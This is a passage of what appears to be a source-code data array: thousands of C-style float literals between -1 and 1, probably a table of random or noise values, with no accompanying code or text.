0.311698821368897f, -0.361229767252053f, 0.750924311039976f, 0.0764323989785694f, 0.898463708247144f, 0.398232179543916f, -0.515644913011399f, -0.189067061520362f, -0.567430593060929f, -0.641924269747436f, -0.0960378699625619f, -0.792054031692334f, 0.803891878854351f, -0.233518627249889f, -0.892523453249154f, 0.707550017996875f, -0.782288435525895f, -0.156166443894764f, -0.543737876329167f, 0.565637809380957f, -0.757689989749326f, -0.612543942167974f, -0.766327195073259f, 0.587626843767440f, -0.280769385897397f, -0.457487372245825f, 0.0862799426622438f, -0.616867284053547f, 0.121778903484808f, -0.451988651573766f, -0.618146087265495f, -0.285868777534354f, 0.108999472244014f, -0.620755183347358f, -0.268563184810196f, -0.721678169615489f, -0.146060198874409f, -0.661506858070617f, 0.901707853998409f, 0.222488776533930f, 0.679599685031679f, 0.974760448601209f, 0.535485953830496f, -0.562345697123585f, 0.369219363331071f, -0.0282801684694869f, -0.0734880727832297f, 0.733216287314358f, -0.514352095765627f, -0.850813063545195f, 0.642458447327163f, 0.118661521915783f, -0.907015526838341f, 0.789277766886329f, -0.719864125961721f, 0.274329068829509f, 0.830124687647056f, 0.719352367261587f, -0.821767317737384f, -0.840153496829227f, 0.650796781936517f, 0.381065387870166f, 0.341870564586224f, -0.00174423702285131f, -0.216348832349188f, 0.678010477635713f, -0.748695103596683f, -0.819659325555269f, 0.620922373008647f, 0.471659250504894f, 0.417848292160984f, -0.990577315445198f, -0.509842007818877f, 0.705761459091187f, 0.723072116074702f, -0.606476484252158f, -0.871593699865195f, -0.662059658667501f, -0.207267692377271f, -0.274706370444270f, 0.317047325063391f, 0.329780707114887f, -0.966325651181920f, -0.666131009799803f, 0.118609206658210f, 0.232960448350140f, -0.139134616436389f, -0.936412642687343f, -0.554985387484625f, -0.609914445911143f, -0.371023087262482f, -0.461044793696911f, 0.0277553171809701f, -0.241589304772568f, -0.990769995548029f, 0.114245771600061f, -0.924483328431436f, 0.237901450206836f, -0.615461633242452f, 0.201497106528945f, -0.599898812620374f, 0.982389910778332f, 0.125701388874024f, -0.892749115498369f, 0.513592673006880f, 0.229316745749793f, 0.422997355912517f, 0.150920221978738f, 0.447743452078441f, 0.366767059168664f, -0.605741985891581f, 0.274905013892524f, -0.861378867171578f, -0.731508622159258f, 0.171187057183023f, 0.250833501952177f, -0.609814068526718f, -0.639397597618127f, -0.712497631420166f, -0.539831932321101f, -0.962361328901384f, 0.799060001548069f, 0.618582550608426f, -0.603865594092701f, -0.750840334759883f, -0.432368099184739f, -0.581021252111797f, 0.134711953024238f, 0.331863889421602f, -0.172907726656169f, -0.435358718118896f, -0.689326993725649f, 0.415840315809038f, -0.333576262820904f, 0.279343777676723f, -0.0393098862927832f, 0.00852090010085194f, -0.853705195692250f, 0.526006696633762f, -0.478653377052437f, -0.584840261391485f, 0.679261003071696f, 0.0367484618219474f, -0.616340335633997f, -0.912843423145420f, -0.221248732289686f, -0.477921890680232f, -0.127369625511666f, 0.865190146410824f, 0.817916456258544f, 0.445973590438029f, -0.621435280140991f, -0.584264056171687f, 0.718712277931876f, -0.337835985469843f, 0.00569064504159345f, -0.546546294846311f, 0.101653624648361f, -0.795498735829364f, -0.249043531299132f, -0.112839395737321f, -0.350305425122331f, -0.910866368205041f, 0.345503177966105f, -0.549306515692918f, 0.711774722622726f, 0.283368922297518f, 0.0401988801224620f, 0.269228967910704f, 0.408165826013612f, -0.306571373865680f, 0.937429053394878f, 0.992154362395068f, 0.679431847774404f, 0.660561953302554f, 0.903254489326130f, -0.939312119455540f, -0.211194531611303f, 0.401554296146757f, -0.0373187111351370f, -0.209143098987164f, -0.483955198209448f, -0.860858509666882f, 0.847006442151417f, 0.287950263267018f, 0.408253171937961f, -0.720812569529331f, 0.623305171273525f, 0.543495760078790f, -0.364025150023839f, -0.893335585394842f, -0.757545415624741f, -0.525417020183382f, -0.985814550271000f, -0.571551008375522f, 0.930716377819686f, -0.272863385293023f, 0.982334910750391f, 0.297868844366342f, 0.922428080219044f, 0.917194773824871f, 0.846964493212884f, 0.0641834146212110f, 0.279768184306094f, 0.591959126556958f, 0.355630573995206f, 0.839818707895839f, 0.219674727597944f, -0.174518904670883f, 0.708669864813752f, -0.224562931791369f, 0.677232454840133f, -0.904826802486527f, -0.627559033402838f, 0.263680517444611f, 0.121902314059156f, -0.704881790282995f, 0.242825089229032f, -0.309373554231866f, -0.479824461459095f, -0.720536286348018f, -0.460418173937526f, 0.774174710513849f, 0.452001499049874f, -0.316992092650694f, 0.153064869645527f, -0.209558599627989f, 0.685508351648252f, -0.508615450383790f, 0.598109567185095f, 0.391177475074196f, 0.964444988755186f, 0.336277292954506f, -0.0367817159101076f, -0.668752640081528f, 0.169621732437504f, -0.440925495294537f, 0.352359477392856f, 0.300517139597811f, 0.464188724292127f, 0.342732840629593f, -0.772028689116952f, 0.523987886508557f, 0.920723209445309f, 0.325634245623597f, 0.999728757965472f, -0.108202444213629f, -0.703463061246440f, -0.764321104361266f, 0.153478091277821f, 0.400776808520781f, 0.0362608595686520f, 0.602660289034871f, -0.00396673312072204f, 0.296881393918662f, 0.563978362789779f, 0.849699999703012f, 0.699481370949461f, -0.517318771826836f, 0.488696839410786f, -0.863267084031406f, 0.0353144039838211f, 0.346060763700543f, 0.964270355001567f, 0.354899825242107f, 0.806313705199543f, 0.675286452110240f, 0.0873918818789949f, -0.595319879813140f, 0.768247284622921f, 0.424433552458434f, -0.308023836359512f, 0.802163480612923f, -0.348151008192881f, -0.889061130591849f, -0.593277042719599f, -0.669426232128590f, 0.758542808803890f, 0.515943031751579f, -0.359688459650311f, 0.568175936707751f, 0.741304023515212f, 0.260283681057109f, 0.957668849401749f, -0.665096753421305f, 0.769229664798946f, -0.0871019488695104f, -0.362662093346394f, -0.411439775739547f, 0.700347493632751f, 0.593221225653487f, 0.712841887456470f, 0.413663813878195f, -0.868002281057698f, -0.704419248587642f, 0.497097875881516f, -0.00234623694758684f, 0.690202361192435f, -0.850266199595343f, 0.315244026446767f, 0.709124123964306f, 0.438047076925768f, 0.798239617424585f, 0.330853072912708f, 0.581059745965701f, 0.449755612947191f, -0.462738032798907f, 0.607731925865227f, 0.0898348455002427f, -0.762827831849901f, 0.895598896497952f, -0.752254194382105f, -0.0916186048978613f, -0.906243795607547f, 0.229263971313788f, 0.401148319671400f, -0.699999035942240f, 0.949897297168705f, 0.442965954562621f, -0.836602533575693f, 0.960460356865877f, -0.588638958628591f, -0.826876652501322f, 0.358883606332526f, 0.963216314331105f, -0.932992215875777f, -0.790078242370583f, 0.402080896170037f, -0.0768348888017805f, 0.728030138891631f, -0.259252300581205f, -0.239039520569651f, -0.0343187629251645f, -0.500656851699075f, 0.213230170834557f, -0.806162554023268f, -0.346741158269134f, 0.593197383681288f, -0.874207905790597f, 0.396896283395687f, -0.899758892162590f, 0.645625478431829f, 0.724064646901595f, 0.505831437483414f, -0.592809028527107f, 0.191058921738261f, 0.329699861086760f, 0.637747614705911f, 0.228492417185859f, 0.350565075483143f, 0.495645634191973f, 0.0378873636406241f, -0.558682871042752f, -0.0463515226573312f, -0.699882077624744f, -0.727701564368345f, -0.185876979038391f, 0.969357227041006f, -0.0396554302826258f, 0.994123321254905f, -0.103700411263859f, -0.122414150286554f, -0.952967253268750f, -0.310113557790019f, 0.389885130024049f, 0.698109781822753f, -0.566884614177461f, -0.807731715569885f, 0.295459359747620f, 0.353911434620388f, -0.0365360121873806f, -0.433710246410727f, -0.112374658849445f, -0.710362620548396f, -0.750188568899340f, -0.421921409270312f, -0.0946825033112555f, -0.207114343395422f, -0.712346704375406f, -0.762905208265238f, 0.668705185793373f, 0.874811836887758f, 0.734155331047614f, 0.0717699959166771f, -0.649642655211151f, 0.710177200600726f, -0.790892796708330f, -0.609051316139055f, 0.158155751049403f, 0.273837117392194f, 0.101461674737037f, -0.341978434311156f, 0.358741707078855f, 0.415990974906378f, 0.760270133083538f, 0.164383469371383f, 0.559847879549422f, 0.209104118141764f, -0.265721227148806f, 0.165407943936551f, 0.611035396421350f, -0.626230501208063f, -0.116714293310250f, -0.696697517286888f, 0.0545261414014888f, 0.440139257477096f, 0.202311640602444f, -0.369311356303593f, 0.901884565342531f, 0.256026357399272f, -0.673699547202088f, 0.108550667621349f, -0.961092940829968f, -0.254802826645023f, 0.553897912330318f, 0.110751075533042f, -0.587445414043347f, 0.786722059164009,
0.182042556749386f, 0.398835909383655f, 0.431324012457533f, 0.587021142157922f, -0.644072183989352f, 0.187430090296218f, 0.516741122998546f, -0.275250933267487f, -0.933673413249875f, -0.767709448823879f, 0.00345814033609182f, -0.585884382069128f, 0.463549040471035f, 0.666537178805293f, -0.393605927315148f, -0.260156573858491f, -0.298799291489529f, -0.246398415746503f, 0.970774181159203f, -0.485708631308223f, -0.456571313115555f, -0.264210030877189f, -0.442583504871362f, 0.0585567697312368f, 0.955769232723545f, 0.651822742221258f, 0.667605490119116f, -0.178564750516287f, 0.744464599638885f, -0.0962758978504710f, -0.538627454923738f, -0.844634654117462f, 0.109151162611125f, -0.862255427201396f, -0.478955305843323f, 0.645965860697344f, 0.345569271369828f, 0.930605011671297f, -0.195523686135506f, 0.927940875293964f, 0.0529927450986318f, -0.537243314646225f, 0.0815400161801159f, -0.528889663721737f, -0.0803965087898244f, 0.722188412643543f, -0.115173100460772f, 0.391581967064874f, 0.609102624309301f, -0.726409099849031f, -0.924071529212721f, -0.424370859730340f, -0.932399086010354f, -0.679903916227243f, 0.398593637781810f, -0.395942610474455f, 0.911017267923838f, 0.830660098751580f, 0.485689056693942f, -0.634874052918746f, 0.558342102044082f, 0.153345477027740f, -0.418797532948752f, -0.962412446404476f, 0.499334884055701f, 0.772755578982235f, 0.486905718186221f, -0.680415982465391f, -0.983589696155766f, 0.0802707365440833f, -0.108186099494932f, 0.272227706025405f, 0.651170828846750f, -0.804713753056757f, 0.778076504684911f, 0.869094633196957f, -0.213764089899489f, -0.289485853647921f, -0.248376169846176f, -0.273907386272412f, -0.272735585352615f, -0.851779302143109f, 0.777935500545070f, 0.610526499062369f, -0.825926925832998f, -0.00122853287679647f, -0.250920102747366f, -0.0333860483260329f, 0.562878228390427f, 0.685359102189134f, 0.909722844787783f, -0.686791591637469f, 0.700018932525581f, -0.975597558640926f, 0.111273045778084f, 0.0313167229308478f, -0.185767397251192f, -0.587922465203314f, -0.569364866257444f, -0.433710470415537f, 0.744709870476354f, 0.812284989338678f, -0.835936210940005f, 0.409175739115410f, 0.364745324015946f, -0.526496413512530f, -0.0949041293633228f, -0.710914623019602f, -0.199035360261516f, 0.249903358254580f, 0.799197892184193f, -0.974131439735146f, -0.962913228246770f, -0.0584067290846062f, 0.0678080882131218f, 0.619989552612058f, 0.600692636138022f, -0.325324145536173f, 0.00758797937831957f, -0.133193608214778f, -0.312408219890363f, -0.0752971209304969f, 0.764751638735404f, 0.207290375565515f, -0.965680055629168f, 0.526346325957267f, 0.365879948128040f, -0.899713698342006f, 0.300806506284083f, 0.282047017067903f, -0.464418831301796f, -0.793644005532544f, -0.338781149582286f, 0.627059412508279f, -0.624056896643864f, -0.503708045945915f, 0.339203903916317f, -0.920899287490514f, -0.753331218450680f, -0.561190137775443f, 0.216431106588929f, -0.191601189620092f, 0.613179188721972f, 0.121381145781083f, -0.477139741951367f, 0.606347924649253f, 0.972409497819530f, 0.00419185232258634f, 0.786976564006247f, 0.716984027373809f, -0.577296880358192f, 0.336508364109364f, -0.837637061538727f, -0.706860533591818f, 0.655351330285695f, -0.799458036429467f, 0.804951754011505f, 0.405471126911303f, 0.485125485165526f, 0.0354103156047567f, 0.774748847269929f, 0.396581375869036f, 0.420464745452802f, -0.544531741676535f, -0.779088258182329f, -0.129534599431145f, 0.228882319223921f, 0.669504936432777f, -0.158954596495398f, -0.171927546721685f, 0.675107968066445f, -0.201470217862098f, -0.185894687796509f, 0.244174688826684f, 0.310288210346694f, -0.0674603586289346f, 0.138103839181198f, 0.269292861340219f, 0.121469813317732f, 0.168629748875041f, 0.581112629873687f, 0.499508530746584f, -0.741772433024897f, -0.311060071316150f, -0.263697352439521f, 0.180487383518774f, -0.800786488742242f, -0.949903966987338f, 0.134975524166410f, 0.213364683193138f, -0.684441197699222f, -0.254697287796379f, -0.260521050814253f, -0.757605554637199f, -0.134324873215927f, -0.699675596579060f, 0.136000646890289f, 0.355272520354523f, -0.712620797948690f, -0.729995036352282f, 0.323100037780915f, -0.718364487938777f, 0.807709622188084f, 0.289336059472722f, -0.558738026311145f, -0.591811756545896f, -0.894952978489225f, -0.354996929975694f, -0.142213103464027f, -0.651950180085633f, 0.182694586161578f, -0.193492058009904f, -0.540079537334588f, -0.300927433533712f, 0.119585035086049f, 0.895807833710939f, -0.413843745301811f, -0.209041322713332f, 0.808094803654324f, 0.0792829008489782f, 0.314806980452270f, 0.502591873175427f, -0.0474189387090473f, -0.407131047818007f, 0.797117088440354f, 0.902395237588928f, -0.783327055804990f, -0.591709085168646f, 0.628191184754911f, -0.454649879692076f, -0.588819444306752f, 0.250889716959370f, -0.582306627010669f, -0.145495766591841f, -0.634137346823528f, 0.667934845545285f, 0.873756470938530f, 0.425969845715827f, -0.779543910541245f, -0.265210219994391f, 0.781530681845886f, 0.304461599274577f, 0.211087853085430f, 0.281022407596766f, 0.0701313665097776f, 0.342337400087349f, -0.0618264046031387f, 0.177147380816613f, 0.751693209867024f, -0.279073264607508f, 0.740459307255654f, -0.352163564204507f, -0.726238685136937f, -0.565819729501492f, -0.779416133306559f, -0.783925450697670f, 0.542612245021260f, -0.810510148278478f, -0.693707081804938f, 0.918862988543900f, -0.368717045271828f, 0.0654919784331340f, -0.438514219239944f, -0.923935138084824f, 0.913316783811291f, -0.961646539574340f, 0.734888382653474f, -0.464102713631586f, -0.896154678819649f, 0.349856565392685f, 0.646610836502422f, -0.104378701809970f, 0.347319102015858f, -0.263947819351090f, 0.343722186197186f, 0.825747554146473f, 0.0661865525544676f, 0.918864908112419f, -0.999160312662909f, -0.904953244747070f, 0.246613032125664f, 0.123426960800262f, -0.294364203503845f, -0.150056966431615f, 0.904179479721301f, 0.517721252782648f, 0.661473373608678f, -0.784276966825964f, -0.984631287069650f, 0.239695484607744f, -0.499150590123099f, 0.00153518224500027f, -0.817955534401114f, 0.221240310713583f, 0.114442325207070f, -0.717650856748245f, -0.722902799253535f, -0.962998380704103f, 0.214092155997873f, -0.226370691123970f, 0.536806140446569f, 0.111745807092858f, 0.657580594136395f, -0.239950592200226f, 0.0981270621736083f, -0.173398466414235f, 0.414811672195735f, 0.147604904291238f, -0.649219724907210f, 0.907797399703411f, -0.496097071857490f, -0.0958082520749422f, -0.700618145301611f, 0.238049932994406f, 0.946616020659334f, 0.143538494511824f, 0.0641076718667677f, 0.377873848622552f, -0.413854028741624f, -0.838831021130186f, 0.0208044297354626f, 0.476712667979210f, 0.850908020233298f, 0.0692454021020814f, 0.841788714865238f, -0.251777041865926f, 0.512215668857165f, 0.827988589806208f, -0.399200428030715f, 0.999219950547600f, -0.00465542086542259f, 0.279790771964531f, -0.683125623289052f, 0.988128867315143f, 0.00697090775456410f, -0.409501680375786f, -0.190812202162744f, -0.154565639467601f, 0.305734586628079f, -0.922825484202279f, -0.0622811516391562f, -0.502492855870975f, 0.358550513844403f, 0.678271216185703f, -0.940222215291861f, 0.568581934651071f, 0.953835466578938f, -0.476569789986603f, 0.0141049472573418f, 0.722262461730185f, -0.128913572076972f, -0.583948340870808f, -0.254358587904773f, -0.390569309413304f, -0.0495119137883056f, -0.486356443935695f, -0.112768011009410f, -0.608763417511343f, -0.145843822867367f, 0.767829603838659f, 0.791239479733126f, 0.0208376062066382f, -0.524291005204912f, -0.200159553848628f, -0.835647719235620f, -0.222774380961612f, 0.0617292533934060f, 0.233433696650208f, -0.543969878951657f, -0.628168009147650f, -0.725602523060817f, -0.273904472034828f, 0.320527317085229f, -0.556961185821848f, 0.261533413201255f, 0.696617398495973f, 0.200506775746016f, -0.395581923906907f, 0.0196423782530712f, -0.0552577396777472f, -0.594078139517501f, -0.816132673139052f, -0.898431571909616f, 0.879105843430143f, 0.949666380003024f, -0.245578843355682f, 0.528960018663897f, 0.201586039072583f, -0.651684706542954f, 0.596063456431086f, -0.659712784781056f, -0.213702651629353f, -0.629790163054887f, -0.0572029778771013f, 0.645291034768991f, -0.453266855343461f, -0.581253959024410f, 0.632682730071992f, 0.991406037765467f, 0.701390336150136f, -0.879037255220971f, -0.304180069776406f, 0.0969095808767941f, -0.465682778651712f, 0.815108046274786f, -0.532850846043973f, 0.950550134670033f, 0.296008118726089f, -0.198390447541329f, 0.159049143352201f, 0.105169964332594f, -0.482506131358523f, 0.493753482281684f, 0.292058685647414f, 0.283730532860951f, 0.00323819209092657f, 0.765838273699203f, -0.0753176377562099f, -0.679824808630431f, 0.548180003463159f, -0.996048798712591f, 0.782768288046545f, 0.396509190560532f, 0.848686742379558f, 0.750049741585178f, 0.730186188655936f, -0.0220701180542726f, -0.487618042364281f, -0.403562199756249f, -0.0693129490117646f, 0.947019452953246f, -0.731947366410442f, 0.198175872470120f, -0.329413252854837f, -0.641319161749268f, 0.186271826190842f, -0.0739989831663739f, -0.334046268448298f, -0.191676071751509f, -0.632573515889708f, -0.999115061914042f, -0.677989795015932f, 0.289828136337821f, 0.696081747094487f, 0.965765319961706f, -0.203649463803737f, -0.195384468978610f, 0.746979659338745f, 0.701651229142588f, -0.498361303522421f, 0.289120104962302f, 0.270493509228559f, -0.132329670835432f, 0.385545665843914f, -0.265371843427444f, 0.306155119003788f, -0.859790373316264f, -0.0198057838521546f, 0.233572324299025f, 0.426354273793125f, -0.510901479579029f, -0.600001464460011f, -0.972316846268671f, 0.531678082677910f, -0.0543913028234813f, -0.860333915321655f, 0.0717414549918496f, -0.992726205437930f, 0.587189647572868f, -0.710120198811545f, -0.712433353767817f, 0.000905613890617163f, 0.323638959833707f, -0.148002344942812f, 0.422217478090035f, -0.512122539396176f, -0.652032513920892f, -0.0749826795945674f, 0.689725543651565f, 0.00708142459169103f, 0.612282380092436f, -0.182868915402510f, -0.478704046524703f, 0.630078231167476f, -0.201694106935605f, 0.471080354222778f, 0.705764111397718f, 0.504296612895499f, -0.245442802115836f, -0.0255433216413170f, 0.244606720514349f, -0.620852691611321f, 0.130333792055452f, -0.0404066268217753f, 0.533698497858480f, 0.569324696850915f, -0.0208385747745345f, -0.344454279574176f, 0.697793551353488f, 0.223740789443046,
0.0819835387259940f, -0.378565059057637f, 0.265230570199009f, -0.654654047270763f, -0.959845479426107f, -0.524706200047066f, -0.320773238900823f, 0.133125806793072f, 0.204919719422386f, 0.781296208272529f, 0.357447172843949f, -0.295741363322007f, -0.531151992759176f, -0.928760461863525f, -0.492737999698919f, 0.185299312597934f, 0.0308933157463984f, 0.0940868629278078f, -0.223134180713975f, -0.728994909644464f, 0.748645378716214f, 0.602424843862873f, 0.939628558971957f, -0.601577015562304f, -0.178714119359324f, 0.812720866753088f, -0.864296642561293f, 0.448439532249340f, 0.423570043689909f, 0.883922405988390f, -0.121889129001415f, -0.0435604321758833f, -0.823641147317994f, -0.775345608718704f, -0.621149628042832f, 0.532395431283659f, -0.803045105215129f, 0.897460124955135f, 0.432615281777583f, -0.0245386640589920f, -0.822321626075771f, -0.992080038736755f, -0.829220327319793f, 0.125841786813822f, 0.277412627470833f, 0.623989234604340f, -0.207977347981346f, -0.666564975567417f, 0.419758053880881f, -0.146809205344117f, 0.702495819380827f, 0.802212477505035f, 0.161529115911938f, 0.987832568197053f, -0.885776673164970f, -0.608518024629661f, -0.126430573784758f, 0.168260422890915f, -0.517060428948049f, -0.766296586196077f, -0.827624510690858f, -0.149091785188351f, -0.643782325842734f, 0.768634567718711f, 0.815278279059715f, -0.648037361329720f, -0.480742843535214f, 0.983809287193308f, -0.701958358623791f, 0.0797427982273327f, 0.903943825454071f, 0.980486658260621f, 0.207436790541324f, -0.536781321571165f, -0.885473392956838f, -0.626744905152131f, 0.279917970592554f, -0.489532633799085f, 0.402084958261836f, -0.566738134593205f, -0.0990017532286025f, 0.458891753618823f, 0.893734110503312f, 0.541822126435773f, -0.856210577956263f, -0.0354679151809227f, -0.868531503535520f, 0.150589222911699f, 0.611651396802303f, 0.524911319413221f, 0.555472734209632f, -0.723626819813614f, -0.162106613127807f, 0.602405197560299f, 0.903198408993777f, 0.329150411562290f, -0.806468536757339f, -0.671787125844359f, -0.707262852044556f, 0.474934689940169f, -0.379636706541612f, 0.404933387269815f, 0.332303761521238f, 0.394233678536033f, -0.0366067593524413f, 0.904405677123363f, -0.356597686978725f, -0.623034135107067f, 0.572040316921149f, 0.799160684670195f, -0.507817199545094f, -0.533380730448667f, -0.884507921224020f, -0.00424735629746076f, 0.647537115339283f, 0.456309536956504f, -0.766102127867730f, -0.625121831714406f, 0.341487890703535f, -0.360549668352997f, -0.229900108098778f, -0.666760418812903f, 0.813282715359911f, 0.115522674116703f, -0.221360306077384f, 0.0297293679340875f, 0.00682810040637105f, 0.0115235719886584f, 0.887989949086462f, 0.792212187398941f, 0.415172771519484f, -0.600202208047434f, 0.949356119962045f, -0.526700730890731f, 0.946712583567682f, -0.392771116330410f, 0.0144823046999243f, -0.649518061223406f, 0.724776068810104f, 0.00920735790862981f, -0.461670796134611f, 0.217703889787716f, 0.846151165623083f, -0.202702970245097f, 0.314177560430781f, -0.761102867343919f, 0.0528399640076420f, -0.986438508940994f, -0.595548022863232f, -0.430067198426456f, 0.150038004203120f, 0.738795383589380f, -0.605707072657181f, -0.597976219376529f, 0.375792542283657f, -0.321042914446039f, 0.902243988712398f, 0.463286578609220f, -0.739643422607773f, 0.210980536147575f, -0.539210294582617f, 0.405318056313257f, -0.876865698043818f, -0.0883135270940518f, 0.0300580586347285f, -0.657955040210154f, 0.159261648552234f, 0.288659459148804f, 0.274488527537659f, 0.646615145281349f, 0.431532024055095f, -0.982045186676854f, -0.777285361097106f, -0.124875006659614f, 0.503004910525253f, 0.824987340852061f, -0.859357943951028f, -0.894837450578304f, 0.744772864540654f, 0.415263521487854f, 0.337833126081168f, -0.612498979721313f, 0.391475686177086f, 0.573982630935632f, -0.391044576636065f, 0.669493459114130f, -0.763807443372196f, -0.898924075896803f, -0.969897663976237f, -0.266947396046322f, 0.198506503481333f, -0.355803387868922f, 0.787375525807664f, 0.655019979695179f, -0.266247398074148f, -0.665577607941915f, 0.0617617780742654f, -0.303207459096743f, 0.807119242186051f, -0.864431193732911f, 0.711808914065391f, 0.267969697417500f, -0.643939259651104f, -0.723685356192067f, 0.887757759160107f, -0.318420101532538f, -0.984559057628900f, -0.123118506428834f, 0.264872379685241f, 0.258477870902406f, -0.727462993670953f, -0.223845786938221f, 0.683462211502638f, -0.989811504909606f, 0.292644294487220f, -0.926087081411227f, -0.801377664261936f, -0.337757621052903f, 0.356167431525877f, 0.974619379699180f, 0.456124311183874f, 0.664192098344107f, -0.910993234571633f, -0.484097468631090f, -0.128534589958108f, -0.770879324529314f, 0.320053414246682f, 0.249818479771296f, 0.0153345543766990f, 0.696352481669035f, -0.397719804512483f, 0.670333638147646f, -0.678192291329959f, 0.190143924397131f, 0.342035884244954f, -0.350791038317704f, 0.0218450632953668f, 0.437133719806156f, 0.659960895652910f, 0.903378806323159f, 0.855089775229062f, 0.946706092624795f, 0.335540975081955f, 0.838337968455111f, -0.102693592034237f, -0.702102376052106f, 0.409624309223486f, -0.654483499569910f, 0.886576641430416f, -0.200573725141884f, -0.461284656727627f, 0.262661770963709f, 0.867505406245483f, -0.0688648080253220f, -0.707487995489326f, -0.248871627068848f, -0.197869870234198f, -0.243745607075197f, -0.244106806741608f, 0.489848112299788f, -0.0909708869175492f, -0.377678949786167f, 0.0385783576998284f, -0.470361956031595f, 0.802403491439449f, -0.408319987166305f, 0.345170991986463f, -0.433455880962420f, 0.00950587287655291f, -0.441888155900165f, -0.817874450719479f, 0.818308133775667f, 0.931915253798354f, 0.818494801634479f, 0.787941704188320f, 0.882012210451449f, 0.0749985961399193f, 0.259772455233352f, -0.655786948552735f, 0.0824323575519799f, 0.980211564632039f, -0.798619050684746f, 0.496019643929772f, -0.727312997781404f, -0.999839600489443f, 0.625938920414345f, -0.561059012154101f, 0.215650518505246f, 0.121571798563274f, 0.161863493108371f, -0.340322748036792f, 0.521792371708641f, 0.655248389359818f, -0.180967013066484f, 0.936797969156762f, 0.523749660366580f, 0.764744126333943f, 0.384701560810431f, -0.744092118301334f, 0.719721922905938f, 0.365931545158250f, -0.720202871171563f, 0.121662048491076f, -0.355501954289222f, 0.379420491208481f, -0.593818415223405f, -0.433690576121147f, -0.766763563509045f, -0.377445104709670f, -0.955638620720410f, 0.309622585052195f, -0.613767678153186f, 0.0177719922394908f, 0.362917537485277f, -0.297613292472489f, 0.0275561832152067f, -0.962345352767599f, 0.452866577068408f, -0.307485159523065f, 0.931778412136845f, 0.639592220588070f, 0.00782144244951311f, -0.0466407334447796f, -0.134392603781566f, 0.895314655361308f, -0.537785271016286f, 0.663926391064792f, -0.886126633268266f, -0.0975129470189278f, -0.429791706025144f, -0.440337831994928f, -0.00156267573188829f, 0.933113069253665f, -0.560704402651437f, -0.201658150324907f, 0.465819560354530f, 0.0701448781871696f, 0.859597672251104f, -0.525851890358272f, -0.992674038068357f, -0.0846761339576128f, -0.401686794568758f, -0.886069686075370f, -0.480254412625133f, 0.432758053902000f, 0.168651590377605f, -0.453397134906684f, 0.340250287733381f, -0.972972507965963f, 0.0560333167197302f, -0.180812774382952f, -0.689848943619717f, -0.427945332505659f, 0.771841237806370f, 0.329334772795521f, 0.573083591606505f, 0.280711890938316f, -0.265074342340277f, -0.166538165045598f, -0.0612128221482104f, 0.458392746490372f, 0.199475931235870f, 0.681819191997175f, 0.356837960840067f, 0.756968760265553f, 0.763288512531608f, -0.890082643508294f, -0.322752448111365f, 0.799445915816577f, -0.956403501496524f, 0.723055987751969f, 0.943900989848643f, -0.217092255585658f, -0.426893469064855f, 0.834596828462842f, 0.723793256883097f, 0.781491391875921f, 0.928040296363564f, -0.468095417622644f, 0.758584798435784f, 0.589732897992602f, 0.929077658343636f, 0.829643041135239f, 0.0947252609994522f, 0.554884923338572f, -0.513740258764285f, -0.221798194292427f, 0.499855133319165f, -0.0237986912033636f, 0.559618648100625f, -0.509812142428963f, -0.444047241791607f, 0.678274420898738f, -0.983706185790147f, -0.295400077545522f, -0.688769625375228f, 0.729259863393412f, 0.889478872450658f, 0.928277502215167f, -0.429388564745762f, -0.790568684428380f, 0.930220908227667f, -0.796970618648576f, -0.980240003047008f, 0.0372716153521411f, -0.290828043433527f, -0.303854123029680f, 0.160774056645456f, -0.712081432630280f, 0.390787025293754f, 0.981202442873064f, -0.679439021090013f, 0.183053153027806f, 0.665002789261745f, -0.708708782620398f, 0.254574948166343f, 0.0575397183305137f, -0.723713533137924f, -0.732816726186887f, 0.501983534740534f, 0.879998734527489f, 0.825871571001792f, 0.920880943816000f, 0.311565022703289f, -0.788226302840017f, -0.223197800016568f, 0.850662847422425f, -0.365181128095578f, 0.958907951854379f, -0.0421327708909884f, -0.153860389403659f, -0.219620959578892f, -0.469076971423126f, -0.523348925540362f, -0.287762354299832f, -0.913332930679763f, 0.403264134926789f, 0.725849051303960f, 0.743650157693605f, -0.382580349065687f, -0.297138545454038f, -0.480092092629432f, 0.0412697614821378f, -0.396203822475830f, -0.0721078217568973f, 0.979038611510460f, -0.766187876085830f, -0.344262922592081f, 0.943351952071948f, -0.219460259008486f, 0.115393587800227f, -0.342675526066015f, 0.926460460401492f, -0.486133445041596f, 0.0722019534490863f, -0.571069005453629f, -0.0854568609959852f, 0.370182934471805f, -0.554007448618166f, 0.899885956615126f, -0.188476209845590f, -0.548132066932086f, 0.0559544259937872f, -0.161750926638529f, -0.532342080900202f, 0.585205009957713f, -0.374876171959848f, -0.169253952741901f, -0.473665572804341f, 0.942267543457416f, -0.515867520277168f, -0.706362509002908f, -0.320672724679343f, -0.398410016134417f, 0.733774712982205f, 0.449599271169282f, 0.109119420842892f, -0.285090495549516f, 0.0854116107702212f, 0.0603189331827261f, -0.943780826189008f, 0.0679186452322331f, 0.0975973769951632f, -0.870728474197789f, -0.153122881744074f, -0.519939625069588f, -0.633620207951748f, -0.767551214057718f, -0.905802311420298f, -0.841350087901049f, -0.271805404203346f, 0.282221543099561f, -0.0874121080198842f, 0.0634591013505281f, 0.318965595714934f, -0.865047622711268f, -0.401960840475322f, 0.637557181177199f, -0.664578054110050f, -0.871253510227744,
-0.893972634695541f, 0.442396058421524f, -0.427901040556135f, -0.740186385510743f, 0.788155411447006f, -0.541278113339818f, 0.509586521956676f, -0.461159620800394f, 0.664671981848839f, 0.880365181842209f, -0.0831685214800200f, 0.952827020902887f, 0.183226454466898f, -0.176729350626920f, 0.851946105206441f, -0.361976142339276f, 0.357209010683668f, 0.982462882042961f, -0.690757734204635f, 0.178681657923363f, -0.0804395784672956f, 0.971787623805611f, 0.875217157810758f, 0.160844021450331f, -0.359951755747351f, 0.0178495935461525f, 0.0203610854761294f, 0.413933338290502f, -0.676038601090005f, -0.111093077131977f, -0.381792206260952f, -0.459903351782575f, 0.308522841938619f, 0.324961267942541f, 0.365201262605939f, 0.732543185546895f, -0.559558093250200f, 0.848266528378337f, -0.185546299813159f, 0.997052205707190f, -0.932554828383249f, -0.106322273904826f, -0.0690562674587807f, 0.919489002936141f, 0.137210930163322f, -0.664517238270193f, -0.985856844408119f, -0.0719443995256963f, -0.602400574547167f, -0.398979518518077f, -0.581117055144305f, -0.0626081333075188f, -0.0372763806643306f, -0.688808592854889f, 0.703980953746103f, -0.480647539644480f, 0.615510592326288f, -0.940226159289884f, -0.953483236094818f, -0.300312284206625f, -0.819419230573751f, 0.657560634657022f, -0.0500336389233971f, 0.628589817614501f, 0.717012803783103f, -0.0315450822394920f, -0.445526173532186f, 